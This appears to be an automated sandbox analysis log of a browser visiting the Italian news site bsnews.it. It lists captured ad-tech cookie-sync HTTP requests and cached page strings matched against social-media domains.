Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/01F5328A-C4D9-44AD-8468-60A885247C68?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
Source: global traffic	HTTP traffic detected: GET /getuid?gdpr=0&gdpr_consent=&url=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D[sas_uid]%26zpartnerid%3D592%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1Host: sync.smartadserver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pbw=%24b%3d16999%3b%24o%3d11100; vs=281855=5910291; TestIfCookie=ok; TestIfCookieP=ok; sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; pid=7766515454130361199; sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1
Source: global traffic	HTTP traffic detected: GET /sync?nid=268 HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://google-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /map/c=13620/tp=ZEOT/tpid=5b95a3db-1a3a-4c5d-7bc4-805f128d851b?https://mwzeom.zeotap.com/mw?pid=${profile_id}&zpartnerid=637&env=mWeb&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1Host: bcp.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_dc=0; _cc_id=578c83848f5e56a85ae351fdaf32db39
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?sec=1&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY} HTTP/1.1Host: image8.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KTPCACOOKIE=YES; KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; pi=159706:3; KRTBCOOKIE_57=22776-3287041831475129344&KRTB&23339-3287041831475129344; PugT=1711615895; SyncRTB3=1712793600%3A166_13_54_21_220_250_178_104_3_71%7C1712188800%3A223_15; ipc=159706^https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D%24%7BGDPR%7D%26gdpr_consent%3D%24%7BGDPR_STRING%7D%26uid%3D%23PMUID^1^0; chkChromeAb67Sec=3
Source: global traffic	HTTP traffic detected: GET /idsync/ex/push?partner_id=2499&partner_device_id=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&partner_url=https%3A%2F%2Fr.casalemedia.com%2Frum%3Fcm_dsp_id%3D64%26external_user_id%3D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1711615890295; TapAd_DID=40662bab-59e7-453d-8534-da10890213df; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=109&external_user_id=c9d07f22dbb14df48cfc0d690e45ddb9&expiration=1714207896 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=portodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvrg_61036=1,1711615884; tvv=2

Source: chromecache_953.2.dr	String found in binary or memory: script.src = 'https://www.youtube.com/iframe_api'; equals www.youtube.com (Youtube)
Source: chromecache_734.2.dr, chromecache_519.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/A4tfXiHOGrs/ equals www.facebook.com (Facebook)
Source: chromecache_734.2.dr, chromecache_519.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/Ga6vBwdwgUx/ equals www.facebook.com (Facebook)
Source: chromecache_734.2.dr, chromecache_519.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/V9vdYColc4k/ equals www.facebook.com (Facebook)
Source: chromecache_734.2.dr, chromecache_519.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/WRsJ32R7YJG/ equals www.facebook.com (Facebook)
Source: chromecache_914.2.dr	String found in binary or memory: brutte d’Italia? Brescia al nono posto in classifica"}]},{"@type":"WebSite","@id":"https://www.bsnews.it/#website","url":"https://www.bsnews.it/","name":"BsNews.it - Brescia News","description":"Il quotidiano on line di Brescia e provincia","publisher":{"@id":"https://www.bsnews.it/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bsnews.it/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https://www.bsnews.it/#organization","name":"BsNews.it","url":"https://www.bsnews.it/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.bsnews.it/#/schema/logo/image/","url":"https://i0.wp.com/www.bsnews.it/wp-content/uploads/2016/12/LOGO-QUADRATO-1.jpg?fit=800%2C800&ssl=1","contentUrl":"https://i0.wp.com/www.bsnews.it/wp-content/uploads/2016/12/LOGO-QUADRATO-1.jpg?fit=800%2C800&ssl=1","width":800,"height":800,"caption":"BsNews.it"},"image":{"@id":"https://www.bsnews.it/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/www.bsnews.it","https://twitter.com/bsnewsit","https://www.youtube.com/user/wwwbsnewsit"]},{"@type":"Person","@id":"https://www.bsnews.it/#/schema/person/df94e6f281aa8db8d0405c390b255fac","name":"Redazione BsNews.it","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.bsnews.it/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g","caption":"Redazione BsNews.it"}}]}</script> equals www.facebook.com (Facebook)
Source: chromecache_914.2.dr	String found in binary or memory: brutte d’Italia? Brescia al nono posto in classifica"}]},{"@type":"WebSite","@id":"https://www.bsnews.it/#website","url":"https://www.bsnews.it/","name":"BsNews.it - Brescia News","description":"Il quotidiano on line di Brescia e provincia","publisher":{"@id":"https://www.bsnews.it/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bsnews.it/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https://www.bsnews.it/#organization","name":"BsNews.it","url":"https://www.bsnews.it/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.bsnews.it/#/schema/logo/image/","url":"https://i0.wp.com/www.bsnews.it/wp-content/uploads/2016/12/LOGO-QUADRATO-1.jpg?fit=800%2C800&ssl=1","contentUrl":"https://i0.wp.com/www.bsnews.it/wp-content/uploads/2016/12/LOGO-QUADRATO-1.jpg?fit=800%2C800&ssl=1","width":800,"height":800,"caption":"BsNews.it"},"image":{"@id":"https://www.bsnews.it/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/www.bsnews.it","https://twitter.com/bsnewsit","https://www.youtube.com/user/wwwbsnewsit"]},{"@type":"Person","@id":"https://www.bsnews.it/#/schema/person/df94e6f281aa8db8d0405c390b255fac","name":"Redazione BsNews.it","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.bsnews.it/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g","caption":"Redazione BsNews.it"}}]}</script> equals www.twitter.com (Twitter)
Source: chromecache_914.2.dr	String found in binary or memory: brutte d’Italia? Brescia al nono posto in classifica"}]},{"@type":"WebSite","@id":"https://www.bsnews.it/#website","url":"https://www.bsnews.it/","name":"BsNews.it - Brescia News","description":"Il quotidiano on line di Brescia e provincia","publisher":{"@id":"https://www.bsnews.it/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bsnews.it/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https://www.bsnews.it/#organization","name":"BsNews.it","url":"https://www.bsnews.it/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.bsnews.it/#/schema/logo/image/","url":"https://i0.wp.com/www.bsnews.it/wp-content/uploads/2016/12/LOGO-QUADRATO-1.jpg?fit=800%2C800&ssl=1","contentUrl":"https://i0.wp.com/www.bsnews.it/wp-content/uploads/2016/12/LOGO-QUADRATO-1.jpg?fit=800%2C800&ssl=1","width":800,"height":800,"caption":"BsNews.it"},"image":{"@id":"https://www.bsnews.it/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/www.bsnews.it","https://twitter.com/bsnewsit","https://www.youtube.com/user/wwwbsnewsit"]},{"@type":"Person","@id":"https://www.bsnews.it/#/schema/person/df94e6f281aa8db8d0405c390b255fac","name":"Redazione BsNews.it","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.bsnews.it/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g","caption":"Redazione BsNews.it"}}]}</script> equals www.youtube.com (Youtube)
Source: chromecache_914.2.dr	String found in binary or memory: <a target="_blank" href="https://www.facebook.com/www.bsnews.it/" title="Facebook"> equals www.facebook.com (Facebook)
Source: chromecache_914.2.dr	String found in binary or memory: <a target="_blank" href="https://www.linkedin.com/in/atortelli" title="Linkedin"> equals www.linkedin.com (Linkedin)
Source: chromecache_914.2.dr	String found in binary or memory: <a target="_blank" href="https://www.youtube.com/channel/UC76-hcy9xJxv7PZ_n9FOr2g" title="Youtube"> equals www.youtube.com (Youtube)
Source: chromecache_914.2.dr	String found in binary or memory: <div class="td-post-sharing-bottom"><div class="td-post-sharing-classic"><iframe title="bottomFacebookLike" frameBorder="0" src="https://www.facebook.com/plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21" style="border:none; overflow:hidden; width:auto; height:21px; background-color:transparent;"></iframe></div><div id="td_social_sharing_article_bottom" class="td-post-sharing td-ps-bg td-ps-notext td-post-sharing-style1 "><div class="td-post-sharing-visible"><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F" title="Facebook"><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&via=%40bsnews.it" title="Twitter"><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&media=&description=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica" title="Pinterest"><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica %0A%0A https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/" title="WhatsApp"><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="td_social_sharing_article_bottom" title="More"> equals www.facebook.com (Facebook)
Source: chromecache_914.2.dr	String found in binary or memory: <div class="td-post-sharing-bottom"><div class="td-post-sharing-classic"><iframe title="bottomFacebookLike" frameBorder="0" src="https://www.facebook.com/plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21" style="border:none; overflow:hidden; width:auto; height:21px; background-color:transparent;"></iframe></div><div id="td_social_sharing_article_bottom" class="td-post-sharing td-ps-bg td-ps-notext td-post-sharing-style1 "><div class="td-post-sharing-visible"><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F" title="Facebook"><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&via=%40bsnews.it" title="Twitter"><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&media=&description=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica" title="Pinterest"><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica %0A%0A https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/" title="WhatsApp"><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="td_social_sharing_article_bottom" title="More"> equals www.twitter.com (Twitter)
Source: chromecache_914.2.dr	String found in binary or memory: <div class="td-post-sharing-top"><div class="td-post-sharing-classic"><iframe title="topFacebookLike" frameBorder="0" src="https://www.facebook.com/plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21" style="border:none; overflow:hidden; width:auto; height:21px; background-color:transparent;"></iframe></div><div id="td_social_sharing_article_top" class="td-post-sharing td-ps-bg td-ps-padding td-ps-bar td-post-sharing-style6 "> equals www.facebook.com (Facebook)
Source: chromecache_914.2.dr	String found in binary or memory: <div class="td-post-sharing-visible"><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F" title="Facebook"><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&via=%40bsnews.it" title="Twitter"><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&media=&description=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica" title="Pinterest"><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica %0A%0A https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/" title="WhatsApp"><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="td_social_sharing_article_top" title="More"> equals www.facebook.com (Facebook)
Source: chromecache_914.2.dr	String found in binary or memory: <div class="td-post-sharing-visible"><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F" title="Facebook"><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&via=%40bsnews.it" title="Twitter"><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&media=&description=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica" title="Pinterest"><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=Le+citt%C3%A0+pi%C3%B9+brutte+d%E2%80%99Italia%3F+Brescia+al+nono+posto+in+classifica %0A%0A https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/" title="WhatsApp"><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="td_social_sharing_article_top" title="More"> equals www.twitter.com (Twitter)
Source: chromecache_914.2.dr	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/www.bsnews.it" /> equals www.facebook.com (Facebook)
Source: chromecache_688.2.dr	String found in binary or memory: Vx.prototype.l=function(a){switch(a.type){case "playing":Xx(this);break;case "pause":case "ended":this.g.enabled&&this.g.stop();break;case "timeupdate":!this.B&&0<Wx(this)&&(this.B=!0,Xx(this))}};var Xx=function(a){!a.g.enabled&&a.B&&(a.F=1E3Wx(a),a.C=Date.now(),a.o=!1,a.g.start())};Vx.prototype.G=function(){var a=Date.now(),b=a-this.C,c=1E3Wx(this);c-this.F<.5b?this.o\|\|(this.o=!0,this.dispatchEvent("playbackStalled")):this.o=!1;this.F=c;this.C=a};var Yx="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.].moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),Zx=/\bocr\b/;function $x(a){if(rb(Rh(a))\|\|nc&&2048<a.length)return!1;try{if((new S(a)).F().match(Zx))return!0}catch(b){}return null!=Yx.find(function(b){return null!=a.match(b)})};function ay(a,b){return rb(b)?!1:(new RegExp(a)).test(b)}function by(a){var b={};a.split(",").forEach(function(c){var d=c.split("=");2==d.length&&(c=sb(d[0]),d=sb(d[1]),0<c.length&&(b[c]=d))});return b} equals www.youtube.com (Youtube)
Source: chromecache_914.2.dr	String found in binary or memory: [youtube https://www.youtube.com/watch?v=BZAShT8MKK4?si=dbgggHkBgZF4fi2A] equals www.youtube.com (Youtube)
Source: chromecache_904.2.dr	String found in binary or memory: a.magnificPopup({preloader:!0,tLoading:"Loading url #%curr%...",type:"iframe",markup:'<div class="mfp-iframe-scaler"><div class="mfp-close"></div><iframe class="mfp-iframe" frameborder="0" allowfullscreen></iframe></div>',iframe:{patterns:{youtube:{index:"youtube.com/",id:function(a){return(a=a.match(/^.(youtu.be\/\|v\/\|u\/\w\/\|embed\/\|watch\?v=\|&v=)([^#&\?]{11,11})./))&&2<=a.length?a[2]:null},src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"}}, equals www.youtube.com (Youtube)
Source: chromecache_904.2.dr	String found in binary or memory: b.currTemplate.iframe.find("iframe");c.length&&(a\|\|(c[0].src="//about:blank"),b.isIE8&&c.css("display",a?"block":"none"))}};a.magnificPopup.registerModule("iframe",{options:{markup:'<div class="mfp-iframe-scaler"><div class="mfp-close"></div><iframe class="mfp-iframe" src="//about:blank" frameborder="0" allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"}, equals www.youtube.com (Youtube)
